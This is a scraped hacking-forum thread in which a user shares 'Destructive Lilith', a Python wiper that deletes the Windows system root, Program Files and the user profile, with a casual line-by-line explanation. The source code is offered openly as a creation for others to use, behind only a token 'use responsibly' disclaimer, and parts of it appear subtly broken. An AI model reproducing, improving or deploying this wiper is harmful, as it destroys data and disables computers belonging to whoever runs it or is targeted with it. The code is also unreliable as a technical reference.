# Destructive Lilith/ a Wiper I made using Python
Yo, what's good my fellow malware enthusiasts? I'm fresh to the scene and I wanted to share one of my latest creations with y'all. This little gem is called the Destructive Lilith (it's a wiper). It's

var unreadAlerts = '1';
Welcome back, purely_cabbage. You last visited: Today, 06:36 AM Log Out
You have one unread private message from dkota titled Welcome to the Forum!
New Reply

Threaded Mode Destructive Lilith/ a Wiper I made using Python

lilithbathory
Active Member
Posts:
22
Threads:
1
Joined:
Apr 2023
Reputation:
11
Credits: 5€ [Donate]
#1
05-04-2023, 11:12 PM (This post was last modified: 05-04-2023, 11:14 PM by lilithbathory.)
Yo, what's good my fellow malware enthusiasts? I'm fresh to the scene and I wanted to share one of my latest creations with y'all. This little gem is called the Destructive Lilith (it's a wiper). It's gonna wipe out system files and folders, causing some serious damage to the affected computer. And if you're wondering, I included a feature where it leaves a log file on the desktop so you can keep track of all the files it deletes. But don't be a fool and use this thing to harm anyone, ya hear me? Use it responsibly (it may result in the system becoming unstable or non-functional) and only for your own purposes.
Let's get the party started....
DL.py (Source Code file)
import win32api
import shutil
import datetime
import os
# Delete system files and folders
def delete_sys_files():
# Get important system directories
sys_root = os.environ['SystemRoot']
program_files = os.environ['ProgramFiles']
user_profile = os.environ['USERPROFILE']
# Create log file with current timestamp
log_file = open(
f"{user_profile}\\Desktop\\deleted_files_{datetime.datetime.now():%Y-%m-%d_%H-%M-%S}.txt", "w")
# Delete files
deleted_files = []
deleted_files.append(win32api.DeleteFile(f"{sys_root}\\", None))
# Delete directories
deleted_dirs = []
deleted_dirs.append(shutil.rmtree(f"{program_files}\\"))
deleted_dirs.append(shutil.rmtree(f"{user_profile}\\"))
# Log deleted files and directories
log_file.write("Deleted Files:\n")
for file in deleted_files:
if file:
log_file.write(file + "\n")
log_file.write("\nDeleted Directories:\n")
for dir in deleted_dirs:
if dir:
log_file.write(dir + "\n")
# Close log file
log_file.close()
delete_sys_files()
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
import win32api :
Win32api is a sweet little tool that allows us to mess with the Windows OS like pros. It's a library that lets us call in some serious Windows functions, just like any other app. In this code, we're using it to delete system files and dirs, which is pretty badass. But you gotta be careful, deleting files is no joke and can cause some serious damage if you ain't careful.
import shutil :
This code uses the`shutil`library to wipe out two directories and all their dirty little secrets. No more sneaky files or hidden files for them. The`shutil.rmtree()`function is the baddest tool in town when it comes to deleting directories and their contents. It's like a clean slate, but for your computer. With this code, you're in control and can clean house like never before.
import datetime :
It uses the`datetime`module, which is a total game changer when it comes to handling timestamps. With this module, you can get the current date and time like never before. Then, it's time to create a log file that's gonna blow your mind. This code does just that by using the timestamp created by the`datetime`module to give the log file some serious cred.
import os :
we can interact with the computer's operating system using Python's built-in`os`module. This module is a great tool when it comes to accessing the OS and performing various tasks like reading and writing files, getting information about directories, and running other programs.
In the code I defined a function called delete_sys_files() that's gonna do all the dirty work.
Inside the function, it gets the paths of some important system directories like SystemRoot, ProgramFiles, and USERPROFILE. It's like it's checking if the computer is clean before it starts deleting stuff.
Next, it creates a log file on your desktop so you can see what it's done. It's like a computer's diary, recording all its activities.
Then it starts deleting files and folders like there's no tomorrow! It's using some heavy-duty tools like win32api.DeleteFile() and shutil.rmtree() to get the job done. It's like a computer janitor, getting rid of all the junk.
Finally, it logs all the deleted files and directories in the log file so you can see what you've gotten rid of. It's like a computer's memory snapshot.
At the end of the script, it calls the delete_sys_files() function to execute the deletion process. It's like a computer's autocleaner, making sure everything's in order.
Just remember, running this code can cause serious damage to your computer, so you should only use it with extreme caution or avoid it altogether unless you know exactly what you're doing. It's like playing with fire, bro!
if you got any questions just hmu! I don't mind helping you out, bro!
And if you like what you see, show some support! I'll keep dropping more sick codes and tutorials that I made. It's like a treasure trove of computer knowledge!
Peace out!
PM Rate
Report

« Next Oldest | Next Newest »

New Reply

Quick Reply
Message Type your reply to this message here. Signature Disable Smilies | You have selected one or more posts to quote. Quote these posts now or deselect them.

Possibly Related Threads…
Thread | Author | Replies | Views | Last Post
| [FREE CODE] [Python] [PoC] SAST Low Hanging Fruit | notnotahacker | 3 | 246 | 06-10-2023, 07:39 PM Last Post: nullcat
| Keylogger using Python |- Part-1 | trooper | 2 | 248 | 04-22-2023, 02:41 PM Last Post: jcole2244

- Subscribe to this thread

Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }